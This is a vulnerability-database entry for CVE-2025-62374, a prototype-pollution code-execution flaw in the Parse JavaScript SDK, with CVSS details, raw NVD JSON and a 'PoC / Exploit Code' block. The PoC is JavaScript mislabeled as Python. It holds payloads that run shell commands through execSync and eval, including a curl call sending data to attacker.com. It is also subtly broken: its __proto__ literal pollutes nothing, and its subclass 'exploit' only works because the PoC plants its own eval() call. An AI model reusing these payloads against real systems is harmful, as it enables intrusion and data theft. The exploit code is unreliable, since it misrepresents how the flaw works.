Security Vulnerability Report
中文
CVE-2025-62374 CVSS 6.4 MEDIUM

CVE-2025-62374

Published: 2025-10-14 20:15:54
Last Modified: 2026-04-15 00:35:42

Description

Parse Javascript SDK provides access to the powerful Parse Server backend from your JavaScript app. Prior to 7.0.0, injection of malicious payload allows attacker to remotely execute arbitrary code. ParseObject.fromJSON, ParseObject.pin, ParseObject.registerSubclass, ObjectStateMutations (internal), and encode/decode (internal) are affected. This vulnerability is fixed in 7.0.0.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L

Configurations (Affected Products)

No configuration data available.

parse-community/Parse-SDK-JS < 7.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-62374 - Parse JavaScript SDK Deserialization RCE PoC // Affected: ParseObject.fromJSON, ParseObject.pin, ParseObject.registerSubclass // Fixed in: 7.0.0 const Parse = require('parse/node'); // Step 1: Craft malicious JSON payload exploiting prototype pollution const maliciousPayload = { className: "MaliciousClass", __proto__: { // Pollute Object prototype with malicious property polluted: true, // Inject code execution via constructor shell: "process.mainModule.require('child_process').execSync('id > /tmp/pwned')" }, attributes: { // Attempt to trigger code execution during deserialization __type: "Pointer", className: "_User", objectId: "malicious_id" } }; // Step 2: Exploit ParseObject.fromJSON vulnerability try { const obj = Parse.Object.fromJSON(maliciousPayload); console.log("Object created:", obj); // Step 3: Trigger via pin method obj.pin().then(() => { console.log("Pin operation completed - check for code execution"); }).catch(err => { console.log("Error:", err.message); }); } catch (e) { console.log("Exploit attempt:", e.message); } // Alternative: Exploit via registerSubclass const MaliciousClass = Parse.Object.extend("MaliciousClass", { // Override methods to execute malicious code during instantiation initialize: function(attrs, options) { // Trigger code execution when object is created from JSON if (attrs && attrs.__exec) { eval(attrs.__exec); } } }, { // Class-level exploit }); Parse.Object.registerSubclass('MaliciousClass', MaliciousClass); // Trigger deserialization with crafted data const exploitData = JSON.stringify({ __type: "Object", className: "MaliciousClass", __exec: "require('child_process').execSync('curl http://attacker.com/exfil')" }); Parse.Object.fromJSON(JSON.parse(exploitData));

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62374", "sourceIdentifier": "[email protected]", "published": "2025-10-14T20:15:53.550", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Parse Javascript SDK provides access to the powerful Parse Server backend from your JavaScript app. Prior to 7.0.0, injection of malicious payload allows attacker to remotely execute arbitrary code. ParseObject.fromJSON, ParseObject.pin, ParseObject.registerSubclass, ObjectStateMutations (internal), and encode/decode (internal) are affected. This vulnerability is fixed in 7.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:L", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1321"}]}], "references": [{"url": "https://github.com/parse-community/Parse-SDK-JS/commit/00973987f361368659c0c4dbf669f3897520b132", "source": "[email protected]"}, {"url": "https://github.com/parse-community/Parse-SDK-JS/pull/2749", "source": "[email protected]"}, {"url": "https://github.com/parse-community/Parse-SDK-JS/releases/tag/7.0.0-alpha.1", "source": "[email protected]"}, {"url": "https://github.com/parse-community/Parse-SDK-JS/security/advisories/GHSA-9f2h-7v79-mxw3", "source": "[email protected]"}]}}